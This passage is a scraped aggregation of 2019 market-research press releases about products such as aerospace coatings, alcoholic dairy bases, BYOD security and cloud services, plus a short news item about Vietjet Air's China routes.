Chapters to deeply display the global Adenine market. The report is distributed over 14 Chapters to display the analysis of the global Adenine market. Chapter 1: covers the Adenine Introduction, product scope, market overview, market opportunities, market risk, market driving force; Chapter 2: talks about the top manufacturers and analyses their sales, revenue and pricing decisions for the duration 2019- 2026; Chapter 3: displays the competitive nature of the market by discussing the competition among the top manufacturers. It dissects the market using sales, revenue and market share data for 2019- 2026; Chapter 4: shows the global market by regions and the proportionate size of each market region based on sales, revenue and market share of Adenine, for the period 2019- 2026; Continue Browse Full Report Summary of Adenine Market @ https://www.marketexpertz.com/industry-overview/adenine-market About MarketExpertz Planning to invest in market intelligence products or offerings on the web? Then marketexpertz has just the thing for you - reports from over 500 prominent publishers and updates on our collection daily to empower companies and individuals catch-up with the vital insights on industries operating across different geography, trends, share, size and growth rate. There's more to what we offer to our customers. With marketexpertz you have the choice to tap into the specialized services without any additional charges. Contact Us: John Watson Head of Business Development Market Expertz | Web: www.marketexpertz.com Direct Line: +1-800-819-3052 E-mail: sales@marketexpertz.com News: www.marketexpertz.com/market-news Valley Cottage, NY -- (SBWIRE) -- 04/26/2019 -- The report provides comprehensive information on market trends, value (US$ Mn) and volume ('000 Li), competition, recent developments and dynamics in Europe advanced aerospace coatings market for the duration between 2018 and 2028. The Europe advanced aerospace coatings market was valuated at just-over US$ 390 million in 2018, which is anticipated to register the CAGR of 4.9% through 2028. Increasing demand for efficient and lightweight advanced aerospace coatings is expected to be a major factor driving the demand for advanced aerospace coatings in the Europe market during the forecast period. Rising Aircraft Production & Expanding Fleet Size Continues to Generate Sustained Demand for Advanced Aerospace Coatings in Europe Europe's increasing air passenger traffic has been leading to an increase in the demand for commercial aircraft. This, in turn, has been leading to an increase in the production of commercial aircraft. The growth of the advanced aerospace coatings market is directly dependent on the total aircraft production and the fleet size. Download Sample Copy@ https://www.futuremarketinsights.com/reports/sample/rep-eu-82 Rising production and sales of aircraft, particularly in developing countries within the region are anticipated to create noteworthy opportunities in Europe's advanced aerospace coatings market. Increasing aircraft deliveries by leading manufacturers such as Airbus and Boeing are underpinning substantial additions to the existing aircraft fleet size of Europe. Progressing Scenario within MRO Segment to Majorly Influence Europe's Advanced Aerospace Coatings Market Growth As the number of aircraft that are in service is increasingly constantly, the report prompts at the subsequent rise in demand for maintenance, repair, and overhaul (MRO) of various aircraft parts, components, and vital systems. This, according to FMI, will trigger the revenue growth of MRO sales channel within Europe's advanced aerospace coatings market during the forecast period. The MRO sales channel of commercial segment of the Europe advanced aerospace coatings market is projected to grow at a 5.9% value CAGR during the forecast period. Increasing fleet size of commercial as well as business aircraft and high demand for customized exteriors are some of the other factors driving the growth of the advanced aerospace coatings MRO sales channel. Aftermarket Sales of Advanced Aerospace Coatings in Europe to Gain Uptick with Soaring Demand for Leased Aircraft An aircraft, being one of the most expensive commodities, a number of small airline carriers prefer to lease from major players. While leasing of aircraft helps these airline carriers avoid high capital investments, they generally tend to renovate the entire aircraft before putting it into operation. The entire aircraft cabin is renovated according to specific requisites of respective airline carriers and their customer demands. More often, a leased aircraft is coated with multiple paints and colors, highlighting the symbol and logo of particular airlines. According to the report, increasing rate of aircraft leasing will continue to push the growth of advanced aerospace coatings market in Europe. Rapid Sales of Advanced Aerospace Coatings Continue to Suffer from Relatively Gradual Growth of European Economies, Post Crisis Post the financial crisis, economic growth has slowed down, as compared to the growth registered prior to the financial crisis. Wage growth has been weak and most of the industrial work has been outsourced to emerging economies, which has made industrial investment in developed economies weak. This, in turn, has been restraining the growth of the advanced aerospace coatings market. Democratic uprisings, such as the Arab Spring, economic sanctions against Russia and the involvement of Ukraine in a proxy war, have pushed many countries into an economic turmoil. The market in these nations has been deteriorating exponentially and in recent times, these markets have been exhibiting a moderate growth scenario. Due to the economic crisis, the purchasing in these countries has come down drastically and subsequently, the demand for advanced aerospace coatings has suffered. Advanced Aerospace Coatings Market Competition Landscape The Europe advanced aerospace coatings market is consolidated with the top two market players (Akzo Nobel and PPG Industries Inc.) accounting for double-digit market shares as of 2017. The top ten players in the Europe advanced aerospace coatings market are projected to collectively account for between a 50% and 60% market share. In the recent past, the advanced aerospace coatings market has witnessed significant improvements from a competition perspective. Acquisitions, collaborations and expansion of production capacity are some of the key strategies being adopted by market players to expand and sustain in the Europe advanced aerospace coatings market. Download Market Shares of Leading Players@ https://www.futuremarketinsights.com/askus/rep-eu-82 Praxair, Inc. and GE Aviation opened a new facility in the U.S. for their PG Technologies business that specializes in advanced coatings and enables jet engines to withstand high stress and temperatures PG Technologies Ltd. announced that it intends to add a new additional coating capacity in Singapore to meet the ever-increasing demand from the aviation industry Akzo Nobel opened a specialty coatings facility in Dongguan, China, primarily for the production of advanced aerospace coatings for South and North Asia aviation markets Albany, NY -- (SBWIRE) -- 04/26/2019 -- Market Outlook Alcoholic dairy bases are those cream bases which are mixed with little quantity of alcohol such as rum, whiskey, etc. This addition of an alcoholic ingredient gives a strong flavor to the dairy-based cream. Alcoholic dairy bases contain sodium caseinate, which acts as an active emulsifying agent and holds almost 45% fat into it. Alcoholic dairy bases are widely used to make alcoholic beverages such as cream liqueur. Alcoholic dairy bases are also used in the bakery and confectionery industry for making cakes, chocolates, etc. An increasing number of individuals across the globe are consuming alcoholic drinks and alcohol-based products, due to which the demand for alcoholic dairy bases has increased, owing to this, manufacturers are also focusing on launching of alcoholic dairy bases associated with variety of flavors in order to enhance their sales over time and attract a large consumer base. Request For Report Brochure For Latest Industry Insights @ https://www.transparencymarketresearch.com/sample/sample.php?flag=B&rep_id=63984 Alcohol-based confectionary consumption: A tradition People in European countries are familiar with the collective taste of alcohol and toffees. Many countries in Europe have a ritual of consuming liquor-filled or liquor flavored chocolates, during vacations. The consumption of these chocolates among European families is so typical that for children these confectionary item means festival. In Northern European countries, chocolate is often used to promote alcoholic beverages. One of the very prominent examples for consumption of alcohol flavored food is 'Malibu-flavored' chocolates, by Turin, which are available across the Netherlands. Some varieties also come with a Jack Daniels flavor. People of Netherlands have a tradition of consuming ice cream containing alcoholic dairy bases, which includes 3.9% alcohol and is available in a variety of flavors, including Tequila & Lime, Red Vodka Energy, among others. Therefore, the global alcoholic dairy bases market is expected to grow in Europe, which is strongly supported by culinary traditions. Although the government in the region have made attempts to ban confectionary containing alcoholic dairy bases as it runs the risk of familiarizing children with the taste of alcohol, a total ban could not be implemented. Therefore, the content of alcoholic dairy bases in these food items is highly regularized. For instance, in the Netherlands, ice creams containing an alcohol content of above 14.5% are not allowed to sell in the market. Opportunities for Market Participants There are different types of consumers, who prefer products as per their need of consumption such as young population around the world would prefer fusion flavors and products, which are trending in the market, while the elderly population would always prefer those products, which are vintage, specifically which are traditional and healthy. Thus, manufacturers could focus on a particular consumer segment to serve the products containing alcoholic dairy bases. Likewise, a combination of alcoholic dairy bases flavors or fusions is gaining popularity, currently. These alcoholic dairy bases flavors are a mixture of two or more flavors combined in one product. Such alcoholic dairy bases flavored products are gaining popularity among consumers to a significant extent. Consumer preference is shifting towards a unique blend or new combination such as alcoholic lemon drink, alcoholic grapefruit flavor, alcoholic raspberry flavor, almond milk and vanilla, and others. Owing to changing consumer habits and demands, manufacturers should also concentrate on whether to make branded goods, private-label products or both of them. The companies could also focus on distribution channels and which channel to prioritize. Obtain Report Details @ https://www.transparencymarketresearch.com/alcoholic-dairy-bases-market.html Global Alcoholic Dairy Bases: Market Segmentation On the basis type, the global alcoholic dairy bases market has been segmented as Protein Free Cream Whiskey Cream Butterscotch Cream Vanilla Cream Regular Cream Others New York, NY -- (SBWIRE) -- 04/26/2019 -- Application virtualization requires a full virtualization layer. It replaces runtime requirement part provided by operating system while implementing application virtualization layer. This implementation is possible with the help of sequencing the application procedure. Application virtualization is implemented in such a manner that it uses virtual resources for its execution. Application virtualization is mainly used to access the same version of the application at the same time on multiple machines. Application virtualization has some other benefits like security enhancement, easy migrations of operating systems, reduction in administration costs. Application virtualization is efficient in case of administrative control over machines for installing, patch, upgrade operations from a single locat ion moreover flexibility, reduction in the risks associated with compatibility issues. Application virtualization can be used without combining it with desktop virtualization on laptop or computers. Application virtualization is utilized by enterprises for better implementation, speed, efficiency, and operational process improvement. Application virtualization is not installed, so there is no residue on the removal of application, no registry issues also delivered dynamically so applications can be accessed offline, online, or anywhere. Request For Report Sample@ https://www.persistencemarketresearch.com/samples/6346 Application Virtualization Market: Drivers and Challenges The recent boom in the IT industry has led to the problem of minimizing the cost of implementing and maintaining the applications and maximizing the productivity through application this is expected to drive the market for application virtualization market. Awareness about new cloud based technologies for cost reduction and profit maximization is noticeable in developed countries which are responsible for providing the push for the application virtualization market. it also observed that developing countries are focusing more on implementing new technologies also there is an increase in the implementation of third party platform by business for implementation of applications. However a lack of awareness about virtualization of applications in developing countries which is emerging market and security is are major issues in application virtualization market. Application Virtualization Market: Segmentation On the basis Application Virtualization Type Remote Application Virtualization Streaming Application Virtualization On the basis of Enterprise Size SMEs Large Enterprises On the basis of End-user BFSI Healthcare Retail Telecom & IT Government Manufacturing Others Regional Overview The global application virtualization market is divided into seven regions, namely Eastern Europe, North America, Western Europe, Latin America, Asia Pacific excluding Japan (APEJ), Japan and the Middle East and Africa (MEA). Among these regions, North America is the dominant player in the market because of the technological advancements are very high in this region. Eastern Europe follows North America in case of revenue generation. APEJ, MEA, Japan are expected to grow in forecasted period due to the rapid industrialization. Request For Report Table of Content (TOC)@ https://www.persistencemarketresearch.com/toc/6346 Application Virtualization Market key players Microsoft Corporation, Symantec Corporation, VMware, Inc., Citrix Systems, Inc, Red Hat, Inc, Citrix Systems Inc., Dell Inc. Albany, NY -- (SBWIRE) -- 04/26/2019 -- Blood Transfusion Diagnostics Market Snapshot Blood transfusion diagnostics are products used to conduct tests before transfusion of blood and blood products from donor to recipient. These products include instruments such as analyzers and centrifuges, and kits & reagents for various tests such as blood grouping and disease screening for donors as well as patients. Blood screening is a major step in the pre-transfusion process. Various instruments, test kits, and reagents based on molecular and serological techniques are used to detect transfusion transmitted infections (TTIs) along with establishing the compatibility of donor and patient blood group before transfusion. The global blood transfusion diagnostics market was valued at US$ 3.0 Bn in 2016 and is projected to expand at a CAGR of 5.9% from 2017 to 2025 to reach US$ 5.5 Bn by 2025. View Report- https://www.transparencymarketresearch.com/blood-transfusion-market.html Increase in shift toward automation in blood banks is likely to benefit blood collection facilities due to reduced turnaround time for test completion and overcoming the shortage of workforce required to conduct the requisite tests. Deployment of automated systems is anticipated to help these facilities to reorganize workflow and increase efficiency. Rise in demand for blood and blood components transfusions owing to large patient population suffering from chronic diseases such as aplastic anemia, sickle cell anemia, and leukemia is the major factor driving the blood transfusion diagnostics market. According to estimates provided by the American Cancer Society, nearly 62,130 new cases of leukemia were reported in the U.S. alone in 2017. According to Centers for Disease Control and Prevention (CDC) estimates, 100,000 people are affected by sickle cell disease in the U.S. each year. Rise in incidence of chronic diseases presents large patient population requiring blood transfusions. This is expected to drive demand for blood transfusions, leading to increase in demand for transfusion diagnostic instruments, kits, and reagents. There is a shift toward automation of instruments, multiplexing assays, and new techniques for blood grouping and disease screening, delivering high throughput results with reduced turnaround time, and enabling health care providers to analyze multiple samples in short time. In February 2017, Immucor, Inc. announced the launch of MIA FORA NGS FLEX HLA Typing Assay, a new molecular test for blood typing. Request Brochure- https://www.transparencymarketresearch.com/sample/sample.php?flag=B&rep_id=23963 Increase in government initiatives and implementation of policies regarding blood safety and availability are anticipated to drive demand and consumption of blood transfusion diagnostic test instruments and kits, which in turn is likely to propel the market during the forecast period. In September 2017, the Ministry of Health of Saudi Arabia launched a national campaign named My Blood for My Country along with various protocols for blood transfusion diagnostics in the country. However, shortage of highly skilled technologists for blood transfusion services and decline in blood donation rates across the globe are likely to hamper the growth of the market. Nevertheless, burgeoning needs of blood banks for plasma testing of recovered plasma for infectious disease screening offers significant opportunity for players operating in the global blood transfusion diagnostic market for developing new tests and assays for plasma testing. The global blood transfusion diagnostics market has been segmented based on product type, application, end-user, and region. In terms of product type, the kits & reagents segment is anticipated to account for major market share, followed by the instruments segment. Increase in blood donations and rise in number of blood transfusion procedures globally are factors contributing to the high consumption of kits & reagents for blood transfusion diagnostics. Based on application, the disease screening segment accounted for the largest market share in 2016 and is expected to gain market share by 2025. Request A Sample- https://www.transparencymarketresearch.com/sample/sample.php?flag=S&rep_id=23963 Increase in emphasis on disease screening tests owing to rise in incidence of transfusion transmitted infections is likely to augment the segment from 2017 to 2025. In terms of end-user, the blood banks segment held the dominant share in terms of revenue in 2016. The segment is projected to maintain its lead over the other segments during the forecast period. Increase in number of blood banks and blood centers globally is expected to fuel the growth of the market. Geographically, North America was the leading market in terms of revenue due to high percentage of active and voluntary blood donors in countries such as the U.S. and Canada, increase in number of blood transfusions per year, and various blood transfusion policies being implemented regarding safety and testing of blood for infectious diseases. The market in Asia Pacific is projected to grow at a rapid pace during the forecast period, owing to large patient pool requiring blood transfusions and rise in awareness about disease screening in countries in the region. Albany, NY -- (SBWIRE) -- 04/26/2019 -- Bring your own device (BYOD) refers to computing devices such as smartphones and tablets that employees bring to the workplace on the secure corporate networks. These mobile devices are prone to viruses and other potential risks such as cyber attacks. BYOD security solutions protect such devices from security threats that can harm the intellectual property of the organization. Additionally, these security solutions aid employees to take optimum advantage of mobile devices to efficiently perform their tasks at convenient locations. Report Analysis@ https://www.transparencymarketresearch.com/byod-security-market.html Business enterprises across the globe are promoting the use of BYOD devices, thereby allowing their employees to carry these portable mobile devices for work-related tasks at the convenient locations. BYOD concept permits employees to access data at real time, thereby helping them in making quick decisions. This in turn necessitates the deployment of effective BYOD security solutions to prevent unauthorized access to the company's data and in turn is fuelling the growth of BYOD security solutions market. Another key factor boosting the growth of BYOD security market is the increased demand for smartphones. Employees prefer to carry-out work-related tasks such as accessing and sending emails while on the move. This ensures employee productivity independent of their location. This for addressing all Increasing possible security threat is triggering the need for deploying effective BYOD security solutions. BYOD risk doesn't just arise from malicious hackers. Threats to data and security are hidden in the most innocuous seeming software applications that employees access over the enterprise network. Such apps can transmit user data to advertisers, access contacts lists, read SMS messages or even install packages on the phone. Mobile application management (MAM) solutions offer more security control than Mobile Device Management (MDM). Thus, the BYOD security market is seeing a paradigm shift from MDM approach to the app-centric MAM approach. Some of the recent solutions by are Citrix Systems, Inc such as XenMobile are a combination of MDM, MAM and enterprise-grade productivity apps. However, initial investment to deploy these solutions is a significant factor restraining the growth of the market making them unaffordable for start-up companies. Also, the lack of awareness among the end-users and the technical complexity involved in resolving the issues pertaining to theft of BYOD device is a critical factor affecting the adoption of BYOD security solutions. Due to these factors, certain mid-size business enterprises are reluctant to implement the use of BYOD devices and their security solutions, thereby adversely affecting the growth of this market. The BYOD security market is segmented on the basis of types of security solutions as mobile data security solutions, mobile data management solutions, mobile network security solutions, and mobile ID management solutions among others. The BYOD security market is dominant in North America. The growth is primarily attributed to advancements in security based technologies and stiff competition among the business enterprises to increase productivity and in turns revenues by focusing on employees comfort. Asia-Pacific is witnessing growth in BYOD security solutions due to the increasing foreign investment in India, China, Indonesia and Singapore among others. Proliferation in the usage of smartphones is also one of the key factors for the growth of BYOD devices and its security solutions in this region. However cost associated with the BYOD devices security solutions are high making it a hindrance in this market. For More Industry Insight, Download Brochure@ https://www.transparencymarketresearch.com/sample/sample.php?flag=B&rep_id=7322 Leading players in the market are investing in research and development in designing solutions with the goal to address the increasing number of security threats and lessen their impact. For instance, Fortinet Inc., one of the major players in the market recently detected 211G1 malware and developed advanced techniques in blocking this malware. Other leading players in the market include Citrix Systems, Inc., International Business Machines (IBM) Corporation, VMware Inc., MobileIron, and Good Technology Corporation. Sellbyville, DE -- (SBWIRE) -- 04/26/2019 -- The latest Carrier Wi-Fi Market Research Report 2024 contains complete Industry outlook, market manufacturers and key statistics analysis. The industry sales & Share, trends are all discussed, explained and analyzed. It provides marketing strategy analysis, distributors/traders list, raw materials analysis, import and export analysis, key success factors and supply chain analysis. The carrier Wi-Fi market has penetration into software such as network management, network monitoring & intrusion prevention, and network performance analytics. The network management software is projected to hold the highest market share as it offers various benefits to the mobile operators such as reduced power usage, service flexibility, and enhanced service environment including location-based & data analytics services, accelerating the market demand. Request for an in-depth table of contents for this report @ https://www.gminsights.com/request-toc/upcoming/2903 Carrier Wi-Fi technology is also being used by the operators worldwide to enable cloud-based applications and meet the high bandwidth requirements driving the carrier Wi-Fi market growth. It delivers various features such as scalability, wide area mobility, network management, carrier-grade security, and fewer service interruptions, driving its adoption in the market. It is also considered as a cost-effective solution in deploying public hotspots in various restaurants, public places, and university campuses, accelerating the internet penetration rate in developing nations. Various companies also anticipated to increase their carrier Wi-Fi investments by 2020, in terms of 5G network development, driving the market growth. Furthermore, security has always been a concern for the open Wi-Fi networks as unprotected Wi-Fis can hamper the user and organizational data, leading to huge loses. Carrier Wi-Fi delivers enhanced security by hardening the Wi-Fi network and in turn protecting it from security threats such as spam, spoofing, and viruses, motivating the demand for the carrier Wi-Fi market. Request for customization @ https://www.gminsights.com/roc/2903 Asia Pacific is considered the strongest region of growth in the carrier Wi-Fi market due to an increase in the number of mobile subscriptions in countries including India and China. There is also a rise in the demand for smartphones in this region, paving new growth opportunities for the telecom operators. The rate of requests for proposals from various mobile operators is increasing with countries including China, Indonesia, and India, driving the growth. The carrier Wi-Fi market is fragmented with the existence of a substantial number of players. Some of the major players present in the market are Airspan, Alcatel-Lucent, Cisco Systems, Aruba Networks, ADTRAN, BelAir Networks, Ericsson, Hewlett-Packard, Motorola Solutions, and Ruckus Wireless. These players are making huge investments in R&D and bringing about strategic business collaborations to expand their presence in the competitive carrier Wi-Fi market. Browse Complete Report Summary @ https://www.gminsights.com/industry-analysis/carrier-wi-fi-market About Global Market Insights: Global Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology. Prime Minister Nguyen Xuan Phuc and a high-ranking delegation of Vietnam attended a ceremony marking the fifth anniversary of the first flight of budget carrier Vietjet Air to China in Beijing, China on April 25. Speaking at the event, Vice Chairman of Vietjet Air Nguyen Thanh Hung said that the airline launched its first service on the Vietnam-China air route in 2014, bringing passengers to Kunming airport in the south western province of Yunnan. Since then, Vietjet Air has worked to expand its network to other cities of China such as Chengdu, Chongqing, Tianjin, Shanghai and Haerbin, and more. Vietjet Air had transported five million passengers between Vietnam and China in more than 23,000 roundtrip flights, contributing to the bilateral trade and tourism development, he said. Hung added that the airline operates over 400 flights per day, with 113 routes covering destinations across Vietnam and Asian destinations such as Thailand, Singapore, the Republic of Korea, Japan, Malaysia, Myanmar, and Cambodia. The carrier has to date carried approximately 20 million passengers in its international routes. At the event, Minister of Transport Nguyen Van The said that Vietnams aviation sector has recorded rapid and constant development over the time, including Vietjet Air, the first private carrier of Vietnam. After the launch of the Vietnam-China route, Vietjet Airs network has been expanded to 50 cities in China. He voiced his hope that in the coming time, Vietjet Air will open flights to all 88 Chinas international airports, thereby bolstering cooperation, exchanges and trade towards the development of the bilateral friendship. Vietjet Air is the first airline in Vietnam to operate as a new-age airline offering flexible, cost-saving ticket fares and diversified services to meet customers demands. It provides not only transport services but also uses the latest e-commerce technologies to offer various products and services for consumers. Vietjet Air is a fully-fledged member of International Air Transport Association (IATA) with the IATA Operational Safety Audit (IOSA) certificate.-VNA New York, NY -- (SBWIRE) -- 04/26/2019 -- Cloud services are those services that are offered to users via the Internet from the server of cloud computing service provider. Such services provide scalable and easy access to various resources and applications, and are entirely managed by the cloud service providers. The examples of cloud services include web-based e-mail services, online backup solutions and data storage, document collaboration services, technical support services, and database processing among others. Cloud service providers supply the necessary software and hardware required for cloud service, thereby eliminating the need for organizations to deploy their own resources for managing networked services. The other advantage of cloud services over the traditional methods of providing infrastructure is faster deployment of services and reduction in in-house maintenance costs. On the basis of mode of delivery, the cloud services market is segmented into Platform as a Service (PaaS), Software as a Service (SaaS) and Infrastructure as a service (IaaS). The SaaS mode of delivery is further segmented into SMB and mobile corporate SaaS cloud services, corporate SaaS cloud services, SMB SaaS cloud services and others. North America is the largest contributor to the cloud services market due to the high penetration of internet in this region. This region is followed by Europe, Asia-Pacific and Rest of the World (RoW). Request For Report Sample@ https://www.persistencemarketresearch.com/samples/6667 Major benefits offered by cloud services are driving business organizations in implementing the use of cloud services. Cloud services maximize the effectiveness of shared resources and ensure the business organizations higher returns and faster paybacks. In addition, cloud services offer scalable solutions to growing business organizations at low cost of ownership. This drives business organizations to invest in such services that allow them to generate higher revenues by optimizing the available resources. However, the data security issues are the roadblocks that are adversely affecting the growth of this market. The increasing data hacking incidences using sophisticated tools result in loss of sensitive data, causing serious dents in the business revenues. Also, there are constant evolutions of new security threats that are affecting the quality of cloud services. Further, the small and medium businesses find it difficult to repeatedly invest in the customized solutions available for cloud services security. Due to such factors, the business organizations are reluctant in investing in the cloud services and prefer to carry on with conventional methods of network infrastructure. Request For Report Table of Content (TOC)@ https://www.persistencemarketresearch.com/toc/6667 Some of the major players in the market are improving their existing services by adding new and innovative features. This helps them in staying competitively ahead in the market. For instance, Akamai Technologies, Inc., one of the leading cloud services providers, recently added Zone Apex Mapping feature to its Ion network acceleration technology. This feature reduces DNS resolution time and avoids HTTP redirects. Other major players in the market include VMware, Inc., (U.S.), Taleo Corporation (Ireland), Oracle Corporation, (U.S.), NetSuite Inc., (U.S.), Microsoft Corporation (U.S.), Joyent Inc., (U.S.), International Business Machines Corporation (U.S.), Hewlett-Packard (U.S.), Flexiant Limited (United Kingdom), ENKI Consulting (U.S.), Etelos Inc.,(U.S.), Citrix Systems Inc., (U.S.), Cisco Systems Inc., (U.S.), CA Technologies, Inc., (U.S.), and SAP AG (Germany). New York, NY -- (SBWIRE) -- 04/26/2019 -- This Dorsomorphin Dihydrochloride study contains vital data on market shifts owing to social, economic, cultural and technological changes worldwide. Explaining market opportunities remains the key focus of the study. Industry experts analysing the business environment also take a closer look at the organizational alignment as well as the capital structure. When accessing the major driving forces shaping the progress of the Dorsomorphin Dihydrochloride industry the researchers also focus on the growth of the customer base in various emerging regions. Advantages offered by the products such as improved shelf life as well as durability and how they are impacting the development of the industry are also assessed during the research. While examining the major restricting factors researchers make an attempt to analyse the strict environmental regulations affecting the market. The major manufacturers covered in this report: R&D Systems, Abcam, Stemgent, Cayman Chemical, Santa Cruz Biotechnology, STEMCELL Technologies, Alfa Chemistry, Anward, Race Chemical, Glentham Life Sciences, AbMole Bioscience, Aurum Pharmatech LLC, Tocris Bioscience, Enzo Life Sciences The Dorsomorphin Dihydrochloride study sheds light on industry profiles across several countries and regions. The extensive document is a rich source of information on market size, share and growth rate. The industry profiles discussed in the Dorsomorphin Dihydrochloride report further identifies market segmentation, profit, and competitive landscape and offers forecast information on industry performance and trends for the period, 2019 to 2026. The detailed report offers comprehensive analyses about a particular market situation within a geographic region. To get Free Sample Report Copy click here @ https://www.marketexpertz.com/sample-enquiry-form/37108 Market segment by Region/Country including: - North America (United States, Canada and Mexico) - Europe (Germany, UK, France, Italy, Russia and Spain etc.) - Asia-Pacific (China, Japan, Korea, India, Australia and Southeast Asia etc.) - South America Brazil, Argentina, Colombia and Chile etc. - Middle East & Africa (South Africa, Egypt, Nigeria and Saudi Arabia etc.) The size of the Dorsomorphin Dihydrochloride Market is viewed in terms of the Share of Market, Total Available Market as well as Served Available Market. Not only does the study present the combined revenue for a particular market but also the market size for a specific geographic region. Analysis of percentage or the size of the Total Available Market based on the type of product, technology, regional constraints and others form an important part of the Dorsomorphin Dihydrochloride report. On the basis of product, this report displays the production, revenue, price, market share and growth rate of each type, primarily split into - Low Purity(?97%) - Purity(>97% and <99%) - High Purity(?99%) - Others On the basis of the end users/applications, this report focuses on the status and outlook for major applications/end users, consumption (sales), market share and growth rate for each application, including - Medical Treatment - Bioscience Research - Others To Purchase this Report click here @ https://www.marketexpertz.com/checkout-form/37108 An extensive study of the product application and services conducted by subject matter experts assessing the Dorsomorphin Dihydrochloride market will help product owners to make a wise decision. From analysing which products companies should produce, expand to how brands should position their product the study covers all that business owners require meeting the buyers' requirement. In this study, the years considered to estimate the market size of Dorsomorphin Dihydrochloride are as follows: History Year: 2014-2018 Base Year: 2018 Estimated Year: 2019 Forecast Year 2019 to 2026 The research provides answers to the following key questions: - What will be the growth rate of the Dorsomorphin Dihydrochloride market for the forecast period, 2019 - 2026? What will be the market size for the estimated period? - What are the prominent factors driving the Dorsomorphin Dihydrochloride market across different regions? - Who are the major vendors dominating the Dorsomorphin Dihydrochloride industry and what are their winning strategies? - What are the major trends shaping the development of the industry in the coming years? - What are challenges faced by the Dorsomorphin Dihydrochloride market? - What are potential opportunities for the industry for the forecast period, 2019 - 2026? There are 13 Chapters to thoroughly display the Dorsomorphin Dihydrochloride market. This report included the analysis of market overview, market characteristics, industry chain, competition landscape, historical and future data by types, applications and regions. Chapter 1: Dorsomorphin Dihydrochloride Market Overview, Product Overview, Market Segmentation, Market Overview of Regions, Market Dynamics, Limitations, Opportunities and Industry News and Policies. Chapter 2: Dorsomorphin Dihydrochloride Industry Chain Analysis, Upstream Raw Material Suppliers, Major Players, Production Process Analysis, Cost Analysis, Market Channels and Major Downstream Buyers. Chapter 3: Value Analysis, Production, Growth Rate and Price Analysis by Type of Dorsomorphin Dihydrochloride. Chapter 4: Downstream Characteristics, Consumption and Market Share by Application of Dorsomorphin Dihydrochloride. Chapter 5: Production Volume, Price, Gross Margin, and Revenue ($) of Dorsomorphin Dihydrochloride by Regions (2014-2019). Chapter 6: Dorsomorphin Dihydrochloride Production, Consumption, Export and Import by Regions (2014-2019). Chapter 7: Dorsomorphin Dihydrochloride Market Status and SWOT Analysis by Regions. Continue Read more @ https://www.marketexpertz.com/industry-overview/dorsomorphin-dihydrochloride-market About MarketExpertz Planning to invest in market intelligence products or offerings on the web. Then Market Expertz has just the thing for you - reports from over 500 prominent publishers and updates on our collection daily to empower companies and individuals catch-up with the vital insights on industries operating across different geography, trends, share, size and growth rate. There's more to what we offer to our customers. With Market Expertz you have the choice to tap into the specialized services without any additional charges. Contact Us: John Watson Head of Business Development Market Expertz | Web: www.marketexpertz.com Direct Line: +1-800-819-3052 E-mail: sales@marketexpertz.com News: www.marketexpertz.com/market-news Los Angeles, CA -- (SBWIRE) -- 04/26/2019 -- Global Anti-Jamming Antenna Market: Segmentation The chapters of segmentation allow the readers to understand the aspects of the market such as its products, available technologies, and applications of the same. These chapters are written in a manner to describe their development over the years and the course they are likely to take in the coming years. The research report also provides insightful information about the emerging trends that are likely to define progress of these segments in the coming years. Request a Sample of this report at: https://www.qyresearch.com/sample-form/form/1141115/global-anti-jamming-antenna-market Global Anti-Jamming Antenna Market: Regional Segmentation For a deeper understanding, the research report includes geographical segmentation of the global Anti-Jamming Antenna market. It provides an evaluation of the volatility of the political scenarios and amends likely to be made to the regulatory structures. This assessment gives an accurate analysis of the regional-wise growth of the global Anti-Jamming Antenna market. The Middle East and Africa (GCC Countries and Egypt) North America (the United States, Mexico, and Canada) South America (Brazil etc.) Europe (Turkey, Germany, Russia UK, Italy, France, etc.) Asia-Pacific (Vietnam, China, Malaysia, Japan, Philippines, Korea, Thailand, India, Indonesia, and Australia) Global Anti-Jamming Antenna Market: Research Methodology The research methodologies used by the analysts play an integral role in the way the publication has been collated. Analysts have used primary and secondary research methodologies to create a comprehensive analysis. For an accurate and precise analysis of the global Anti-Jamming Antenna market, analysts have bottom-up and top-down approaches. Global Anti-Jamming Antenna Market: Competitive Rivalry The research report includes an analysis of the competitive landscape present in the global Anti-Jamming Antenna market. It includes an assessment of the existing and upcoming trends that players can invest in. Furthermore, it also includes an evaluation of the financial outlooks of the players and explains the nature of the competition. Key Players Mentioned in the Global Anti-Jamming Antenna Market Research Report: Raytheon Rockwell Collins Novatel Cobham Mayflower BAE Systems Thales Group Harris Hwa Create Technology Ask our Expert if You Have a Query at: enquiry@qyresearch.com Strategic Points Covered in TOC: Chapter 1: Introduction, market driving force product scope, market risk, market overview, and market opportunities of the global Anti-Jamming Antenna market Chapter 2: Evaluating the leading manufacturers of the global Anti-Jamming Antenna market which consists of its revenue, sales, and price of the products Chapter 3: Displaying the competitive nature among key manufacturers, with market share, revenue, and sales Chapter 4: Presenting global Anti-Jamming Antenna market by regions, market share and with revenue and sales for the projected period Chapter 5, 6, 7, 8 and 9: To evaluate the market by segments, by countries and by manufacturers with revenue share and sales by key countries in these various regions Albany, NY -- (SBWIRE) -- 04/26/2019 -- The report, titled "Healthcare Automation Market - Global Industry Analysis, Size, Share, Growth, Trends and Forecast 2017 - 2025," gives a thorough account of the present state of the global Healthcare Automation market and the industry concerning it. The report presents an expansive account of the crucial elements of the market, the macro and micro factors that are essential for companies to gain competitive advantage in the market, the key factors that will have the most significant influence on the growth trajectory of the market, and several other aspects of the Healthcare Automation market from a regional as well as a global perspective. Download Exclusive Free Sample Of This Report: https://www.researchmoz.us/enquiry.php?type=S&repid=1128361 Global Healthcare Automation Market: Scope This report offers calculated analysis of the global healthcare automation market, and the market growth forecast for 2017 to 2025. Competitive analysis of numerous market splits based on the application and end use of the market across different regional segments are covered in the scope of the report. Increasing demand for Internet of Things is an important trend in the global healthcare automation market. With the help of this technology, gathering medical data of patients easily accessible. Moreover, it helps in improving the health by increasing its quality and availability of care and also decreases the costs. Additionally, this technology helps in remote monitoring and clinical care. Demand for wearable technology is increasing rapidly and is an important trend in the global market. Wearable technology is employed for collecting real-time data, continuous monitoring, empowering patients, and predicting and alerting patients about their health. Furthermore, wearable technology helps in tracking surgical recovery that is likely to present more detailed information to doctors and better understand patients' recovery time. Global Healthcare Automation Market: Trends and Opportunities Implementation of automation is anticipated to reduce the amount of labor intensive tasks such as lab tests and clinical diagnostics, thereby helping hospitals or clinics to save costs pertaining to the processes. Automation allows medical individuals to 